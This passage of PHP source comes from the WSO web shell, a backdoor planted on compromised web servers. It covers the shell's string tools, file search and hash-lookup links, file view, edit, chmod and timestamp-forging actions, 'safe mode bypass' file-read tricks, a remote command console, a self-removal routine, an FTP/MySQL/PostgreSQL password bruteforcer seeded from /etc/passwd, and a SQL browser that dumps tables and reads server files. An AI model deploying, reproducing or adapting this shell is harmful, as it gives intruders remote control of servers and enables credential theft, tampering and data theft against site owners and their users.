623 if(!empty($_SESSION['act'])&&@count($_SESSION['f']))
624 echo "<option value='paste'>Paste / zip</option>";
625 echo "</select> <input type='submit' value='>>'></td></tr></form></table></div>";
626 wsoFooter();
627}
628
629function actionStringTools() {
630 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
631 if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
632 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
633 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
634 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
635 $stringTools = array(
636 'Base64 encode' => 'base64_encode',
637 'Base64 decode' => 'base64_decode',
638 'Url encode' => 'urlencode',
639 'Url decode' => 'urldecode',
640 'Full urlencode' => 'full_urlencode',
641 'md5 hash' => 'md5',
642 'sha1 hash' => 'sha1',
643 'crypt' => 'crypt',
644 'CRC32' => 'crc32',
645 'ASCII to HEX' => 'ascii2hex',
646 'HEX to ASCII' => 'hex2ascii',
647 'HEX to DEC' => 'hexdec',
648 'HEX to BIN' => 'hex2bin',
649 'DEC to HEX' => 'dechex',
650 'DEC to BIN' => 'decbin',
651 'BIN to HEX' => 'binhex',
652 'BIN to DEC' => 'bindec',
653 'String to lower case' => 'strtolower',
654 'String to upper case' => 'strtoupper',
655 'Htmlspecialchars' => 'htmlspecialchars',
656 'String length' => 'strlen',
657 );
658 if(isset($_POST['ajax'])) {
659 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
660 ob_start();
661 if(in_array($_POST['p1'], $stringTools))
662 echo $_POST['p1']($_POST['p2']);
663 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
664 echo strlen($temp), "\n", $temp;
665 exit;
666 }
667 wsoHeader();
668 echo '<h1>String conversions</h1><div class=content>';
669 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
670 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
671 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
672 foreach($stringTools as $k => $v)
673 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
674 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
675 if(!empty($_POST['p1'])) {
676 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
677 }
678 echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
679 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
680 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
681 <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
682 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
683 <tr><td></td><td><input type='submit' value='>>'></td></tr>
684 </table></form>";
685
686 function wsoRecursiveGlob($path) {
687 if(substr($path, -1) != '/')
688 $path.='/';
689 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
690 if(is_array($paths)&&@count($paths)) {
691 foreach($paths as $item) {
692 if(@is_dir($item)){
693 if($path!=$item)
694 wsoRecursiveGlob($item);
695 } else {
696 if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
697 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
698 }
699 }
700 }
701 }
702 if(@$_POST['p3'])
703 wsoRecursiveGlob($_POST['c']);
704 echo "</div><br><h1>Search for hash:</h1><div class=content>
705 <form method='post' target='_blank' name='hf'>
706 <input type='text' name='hash' style='width:200px;'><br>
707 <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
708 <input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
709 <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
710 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
711 <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
712 </form></div>";
713 wsoFooter();
714}
715
716function actionFilesTools() {
717 if( isset($_POST['p1']) )
718 $_POST['p1'] = urldecode($_POST['p1']);
719 if(@$_POST['p2']=='download') {
720 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
721 ob_start("ob_gzhandler", 4096);
722 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
723 if (function_exists("mime_content_type")) {
724 $type = @mime_content_type($_POST['p1']);
725 header("Content-Type: ".$type);
726 }
727 $fp = @fopen($_POST['p1'], "r");
728 if($fp) {
729 while(!@feof($fp))
730 echo @fread($fp, 1024);
731 fclose($fp);
732 }
733 }exit;
734 }
735 if( @$_POST['p2'] == 'mkfile' ) {
736 if(!file_exists($_POST['p1'])) {
737 $fp = @fopen($_POST['p1'], 'w');
738 if($fp) {
739 $_POST['p2'] = "edit";
740 fclose($fp);
741 }
742 }
743 }
744 wsoHeader();
745 echo '<h1>File tools</h1><div class=content>';
746 if( !file_exists(@$_POST['p1']) ) {
747 echo 'File not exists';
748 wsoFooter();
749 return;
750 }
751 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
752 if(!$uid) {
753 $uid['name'] = @fileowner($_POST['p1']);
754 $gid['name'] = @filegroup($_POST['p1']);
755 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
756 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
757 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
758 if( empty($_POST['p2']) )
759 $_POST['p2'] = 'view';
760 if( is_file($_POST['p1']) )
761 $m = array('View', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
762 else
763 $m = array('Chmod', 'Rename', 'Touch');
764 foreach($m as $v)
765 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
766 echo '<br><br>';
767 switch($_POST['p2']) {
768 case 'view':
769 if( @is_readable($_POST['p1']) ) {
770 echo '<div class=ml1 style="background-color: rgba(255, 250, 155, 0.35);color:black;">';
771 $code = @highlight_file($_POST['p1'],true);
772 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
773 }
774 break;
775 case 'chmod':
776 if( !empty($_POST['p3']) ) {
777 $perms = 0;
778 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
779 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
780 if(!@chmod($_POST['p1'], $perms))
781 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
782 }
783 clearstatcache();
784 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
785 break;
786 case 'edit':
787 if( !is_writable($_POST['p1'])) {
788 echo 'File isn\'t writeable';
789 break;
790 }
791 if( !empty($_POST['p3']) ) {
792 $time = @filemtime($_POST['p1']);
793 $_POST['p3'] = substr($_POST['p3'],1);
794 $fp = @fopen($_POST['p1'],"w");
795 if($fp) {
796 @fwrite($fp,$_POST['p3']);
797 @fclose($fp);
798 echo 'Saved!<br><script>p3_="";</script>';
799 @touch($_POST['p1'],$time,$time);
800 }
801 }
802 echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
803 $fp = @fopen($_POST['p1'], 'r');
804 if($fp) {
805 while( !@feof($fp) )
806 echo htmlspecialchars(@fread($fp, 1024));
807 @fclose($fp);
808 }
809 echo '</textarea><input type=submit value=">>"></form>';
810 break;
811 case 'hexdump':
812 $c = @file_get_contents($_POST['p1']);
813 $n = 0;
814 $h = array('00000000<br>','','');
815 $len = strlen($c);
816 for ($i=0; $i<$len; ++$i) {
817 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
818 switch ( ord($c[$i]) ) {
819 case 0: $h[2] .= ' '; break;
820 case 9: $h[2] .= ' '; break;
821 case 10: $h[2] .= ' '; break;
822 case 13: $h[2] .= ' '; break;
823 default: $h[2] .= $c[$i]; break;
824 }
825 $n++;
826 if ($n == 32) {
827 $n = 0;
828 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
829 $h[1] .= '<br>';
830 $h[2] .= "\n";
831 }
832 }
833 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
834 break;
835 case 'rename':
836 if( !empty($_POST['p3']) ) {
837 if(!@rename($_POST['p1'], $_POST['p3']))
838 echo 'Can\'t rename!<br>';
839 else
840 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
841 }
842 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
843 break;
844 case 'touch':
845 if( !empty($_POST['p3']) ) {
846 $time = strtotime($_POST['p3']);
847 if($time) {
848 if(!touch($_POST['p1'],$time,$time))
849 echo 'Fail!';
850 else
851 echo 'Touched!';
852 } else echo 'Bad time format!';
853 }
854 clearstatcache();
855 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
856 break;
857 }
858 echo '</div>';
859 wsoFooter();
860}
861
862function actionSafeMode() {
863 $temp='';
864 ob_start();
865 switch($_POST['p1']) {
866 case 1:
867 $temp=@tempnam($test, 'cx');
868 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
869 echo @file_get_contents($temp);
870 unlink($temp);
871 } else
872 echo 'Sorry... Can\'t open file';
873 break;
874 case 2:
875 $files = glob($_POST['p2'].'*');
876 if( is_array($files) )
877 foreach ($files as $filename)
878 echo $filename."\n";
879 break;
880 case 3:
881 $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
882 curl_exec($ch);
883 break;
884 case 4:
885 ini_restore("safe_mode");
886 ini_restore("open_basedir");
887 include($_POST['p2']);
888 break;
889 case 5:
890 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
891 $uid = @posix_getpwuid($_POST['p2']);
892 if ($uid)
893 echo join(':',$uid)."\n";
894 }
895 break;
896 }
897 $temp = ob_get_clean();
898 wsoHeader();
899 echo '<h1>Safe mode bypass</h1><div class=content>';
900 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
901 if($temp)
902 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
903 echo '</div>';
904 wsoFooter();
905}
906
907function actionConsole() {
908 if(isset($_POST['ajax'])) {
909 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
910 ob_start();
911 echo "document.cf.cmd.value='';\n";
912 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
913 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
914 if(@chdir($match[1])) {
915 $GLOBALS['cwd'] = @getcwd();
916 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
917 }
918 }
919 echo "document.cf.output.value+='".$temp."';";
920 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
921 $temp = ob_get_clean();
922 echo strlen($temp), "\n", $temp;
923 exit;
924 }
925 wsoHeader();
926 echo "<script>
927if(window.Event) window.captureEvents(Event.KEYDOWN);
928var cmds = new Array('');
929var cur = 0;
930function kp(e) {
931 var n = (window.Event) ? e.which : e.keyCode;
932 if(n == 38) {
933 cur--;
934 if(cur>=0)
935 document.cf.cmd.value = cmds[cur];
936 else
937 cur++;
938 } else if(n == 40) {
939 cur++;
940 if(cur < cmds.length)
941 document.cf.cmd.value = cmds[cur];
942 else
943 cur--;
944 }
945}
946function add(cmd) {
947 cmds.pop();
948 cmds.push(cmd);
949 cmds.push('');
950 cur = cmds.length-1;
951}
952</script>";
953 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
954 foreach($GLOBALS['aliases'] as $n => $v) {
955 if($v == '') {
956 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
957 continue;
958 }
959 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
960 }
961 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
962 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
963 echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
964 if(!empty($_POST['p1'])) {
965 echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
966 }
967 echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">';
968 echo '</form></div><script>document.cf.cmd.focus();</script>';
969 wsoFooter();
970}
971
972function actionLogout() {
973 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
974 die('bye!');
975}
976
977function actionSelfRemove() {
978
979 if($_POST['p1'] == 'yes')
980 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
981 die('Shell has been removed');
982 else
983 echo 'unlink error!';
984 if($_POST['p1'] != 'yes')
985 wsoHeader();
986 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
987 wsoFooter();
988}
989
990function actionBruteforce() {
991 wsoHeader();
992 if( isset($_POST['proto']) ) {
993 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
994 if( $_POST['proto'] == 'ftp' ) {
995 function bruteForce($ip,$port,$login,$pass) {
996 $fp = @ftp_connect($ip, $port?$port:21);
997 if(!$fp) return false;
998 $res = @ftp_login($fp, $login, $pass);
999 @ftp_close($fp);
1000 return $res;
1001 }
1002 } elseif( $_POST['proto'] == 'mysql' ) {
1003 function bruteForce($ip,$port,$login,$pass) {
1004 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
1005 @mysql_close($res);
1006 return $res;
1007 }
1008 } elseif( $_POST['proto'] == 'pgsql' ) {
1009 function bruteForce($ip,$port,$login,$pass) {
1010 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
1011 $res = @pg_connect($str);
1012 @pg_close($res);
1013 return $res;
1014 }
1015 }
1016 $success = 0;
1017 $attempts = 0;
1018 $server = explode(":", $_POST['server']);
1019 if($_POST['type'] == 1) {
1020 $temp = @file('/etc/passwd');
1021 if( is_array($temp) )
1022 foreach($temp as $line) {
1023 $line = explode(":", $line);
1024 ++$attempts;
1025 if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1026 $success++;
1027 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1028 }
1029 if(@$_POST['reverse']) {
1030 $tmp = "";
1031 for($i=strlen($line[0])-1; $i>=0; --$i)
1032 $tmp .= $line[0][$i];
1033 ++$attempts;
1034 if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1035 $success++;
1036 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1037 }
1038 }
1039 }
1040 } elseif($_POST['type'] == 2) {
1041 $temp = @file($_POST['dict']);
1042 if( is_array($temp) )
1043 foreach($temp as $line) {
1044 $line = trim($line);
1045 ++$attempts;
1046 if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1047 $success++;
1048 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1049 }
1050 }
1051 }
1052 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1053 }
1054 echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1055 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1056 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1057 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1058 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1059 .'<span>Server:port</span></td>'
1060 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1061 .'<tr><td><span>Brute type</span></td>'
1062 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1063 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1064 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1065 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1066 .'<td><input type=text name=login value="root"></td></tr>'
1067 .'<tr><td><span>Dictionary</span></td>'
1068 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1069 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1070 echo '</div><br>';
1071 wsoFooter();
1072}
1073
1074function actionSql() {
1075 class DbClass {
1076 var $type;
1077 var $link;
1078 var $res;
1079 function DbClass($type) {
1080 $this->type = $type;
1081 }
1082 function connect($host, $user, $pass, $dbname){
1083 switch($this->type) {
1084 case 'mysql':
1085 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1086 break;
1087 case 'pgsql':
1088 $host = explode(':', $host);
1089 if(!$host[1]) $host[1]=5432;
1090 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1091 break;
1092 }
1093 return false;
1094 }
1095 function selectdb($db) {
1096 switch($this->type) {
1097 case 'mysql':
1098 if (@mysql_select_db($db))return true;
1099 break;
1100 }
1101 return false;
1102 }
1103 function query($str) {
1104 switch($this->type) {
1105 case 'mysql':
1106 return $this->res = @mysql_query($str);
1107 break;
1108 case 'pgsql':
1109 return $this->res = @pg_query($this->link,$str);
1110 break;
1111 }
1112 return false;
1113 }
1114 function fetch() {
1115 $res = func_num_args()?func_get_arg(0):$this->res;
1116 switch($this->type) {
1117 case 'mysql':
1118 return @mysql_fetch_assoc($res);
1119 break;
1120 case 'pgsql':
1121 return @pg_fetch_assoc($res);
1122 break;
1123 }
1124 return false;
1125 }
1126 function listDbs() {
1127 switch($this->type) {
1128 case 'mysql':
1129 return $this->res = @mysql_list_dbs($this->link);
1130 break;
1131 case 'pgsql':
1132 return $this->res = $this->query("SELECT datname FROM pg_database");
1133 break;
1134 }
1135 return false;
1136 }
1137 function listTables() {
1138 switch($this->type) {
1139 case 'mysql':
1140 return $this->res = $this->query('SHOW TABLES');
1141 break;
1142 case 'pgsql':
1143 return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_shadow'");
1144 break;
1145 }
1146 return false;
1147 }
1148 function error() {
1149 switch($this->type) {
1150 case 'mysql':
1151 return @mysql_error($this->link);
1152 break;
1153 case 'pgsql':
1154 return @pg_last_error($this->link);
1155 break;
1156 }
1157 return false;
1158 }
1159 function setCharset($str) {
1160 switch($this->type) {
1161 case 'mysql':
1162 if(function_exists('mysql_set_charset'))
1163 return @mysql_set_charset($str, $this->link);
1164 else
1165 $this->query('SET CHARSET '.$str);
1166 break;
1167 case 'pgsql':
1168 return @pg_set_client_encoding($this->link, $str);
1169 break;
1170 }
1171 return false;
1172 }
1173 function loadFile($str) {
1174 switch($this->type) {
1175 case 'mysql':
1176 return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
1177 break;
1178 case 'pgsql':
1179 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
1180 $r=array();
1181 while($i=$this->fetch())
1182 $r[] = $i['file'];
1183 $this->query('drop table wso2');
1184 return array('file'=>implode("\n",$r));
1185 break;
1186 }
1187 return false;
1188 }
1189 function dump($table) {
1190 switch($this->type) {
1191 case 'mysql':
1192 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1193 $create = mysql_fetch_array($res);
1194 echo $create[1].";\n\n";
1195 $this->query('SELECT * FROM `'.$table.'`');
1196 while($item = $this->fetch()) {
1197 $columns = array();
1198 foreach($item as $k=>$v) {
1199 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1200 $columns[] = "`".$k."`";
1201 }
1202 echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1203 }
1204 break;
1205 case 'pgsql':
1206 $this->query('SELECT * FROM '.$table);
1207 while($item = $this->fetch()) {
1208 $columns = array();
1209 foreach($item as $k=>$v) {
1210 $item[$k] = "'".addslashes($v)."'";
1211 $columns[] = $k;
1212 }
1213 echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1214 }
1215 break;
1216 }
1217 return false;
1218 }
1219 };
1220 $db = new DbClass($_POST['type']);
1221 if(@$_POST['p2']=='download') {
1222 ob_start("ob_gzhandler", 4096);
1223 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1224 $db->selectdb($_POST['sql_base']);
1225 header("Content-Disposition: attachment; filename=dump.sql");
1226 header("Content-Type: text/plain");
1227 foreach($_POST['tbl'] as $v)
1228 $db->dump($v);
1229 exit;
1230 }
1231 wsoHeader();
1232 echo "
1233<h1>Sql browser</h1><div class=content>
1234<form name='sf' method='post'><table cellpadding='2' cellspacing='0'><tr>
1235<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1236<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
1237<td><select name='type'><option value='mysql' ";
1238 if(@$_POST['type']=='mysql')echo 'selected';
1239echo ">MySql</option><option value='pgsql' ";
1240if(@$_POST['type']=='pgsql')echo 'selected';
1241echo ">PostgreSql</option></select></td>
1242<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
1243<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
1244<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
1245 $tmp = "<input type=text name=sql_base value=''>";
1246 if(isset($_POST['sql_host'])){
1247 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1248 switch($_POST['charset']) {
1249 case "Windows-1251": $db->setCharset('cp1251'); break;
1250 case "UTF-8": $db->setCharset('utf8'); break;
1251 case "KOI8-R": $db->setCharset('koi8r'); break;
1252 case "KOI8-U": $db->setCharset('koi8u'); break;
1253 case "cp866": $db->setCharset('cp866'); break;
1254 }
1255 $db->listDbs();
1256 echo "<select name=sql_base><option value=''></option>";
1257 while($item = $db->fetch()) {
1258 list($key, $value) = each($item);
1259 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1260 }
1261 echo '</select>';
1262 }
1263 else echo $tmp;
1264 }else
1265 echo $tmp;
1266 echo "</td>
1267 <td><input type=submit value='>>'></td>
1268 </tr>
1269 </table>
1270 <script>
1271 function st(t,l) {
1272 document.sf.p1.value = 'select';
1273 document.sf.p2.value = t;
1274 if(l!=null)document.sf.p3.value = l;
1275 document.sf.submit();
1276 }
1277 function is() {
1278 for(i=0;i<document.sf.elements['tbl[]'].length;++i)
1279 document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked;
1280 }
1281 </script>";
1282 if(isset($db) && $db->link){
1283 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1284 if(!empty($_POST['sql_base'])){
1285 $db->selectdb($_POST['sql_base']);
1286 echo "<tr><td width=1 style='border-top:2px solid #e3e3e3;border-right:2px solid #e3e3e3;'><span>Tables:</span><br><br>";
1287 $tbls_res = $db->listTables();
1288 while($item = $db->fetch($tbls_res)) {
1289 list($key, $value) = each($item);
1290 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1291 $value = htmlspecialchars($value);
1292 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
1293 }
1294 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
1295 if(@$_POST['p1'] == 'select') {
1296 $_POST['p1'] = 'query';
1297 $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
1298 $num = $db->fetch();
1299 $num = $num['n'];
1300 echo "<span>".$_POST['p2']."</span> ($num) ";
1301 for($i=0;$i<($num/30);$i++)
1302 if($i != (int)$_POST['p3'])
1303 echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
1304 else
1305 echo ($i+1)," ";
1306 if($_POST['type']=='pgsql')
1307 $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1308 else
1309 $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1310 echo "<br><br>";
1311 }
1312 if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
1313 $db->query(@$_POST['p3']);
1314 if($db->res !== false) {
1315 $title = false;
1316 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
1317 $line = 1;
1318 while($item = $db->fetch()) {
1319 if(!$title) {
1320 echo '<tr>';
1321 foreach($item as $key => $value)
1322 echo '<th>'.$key.'</th>';
1323 reset($item);
1324 $title=true;
1325 echo '</tr><tr>';
1326 $line = 2;
1327 }
1328 echo '<tr class="l'.$line.'">';
1329 $line = $line==1?2:1;
1330 foreach($item as $key => $value) {
1331 if($value == null)
1332 echo '<td><i>null</i></td>';
1333 else
1334 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1335 }
1336 echo '</tr>';
1337 }
1338 echo '</table>';
1339 } else {
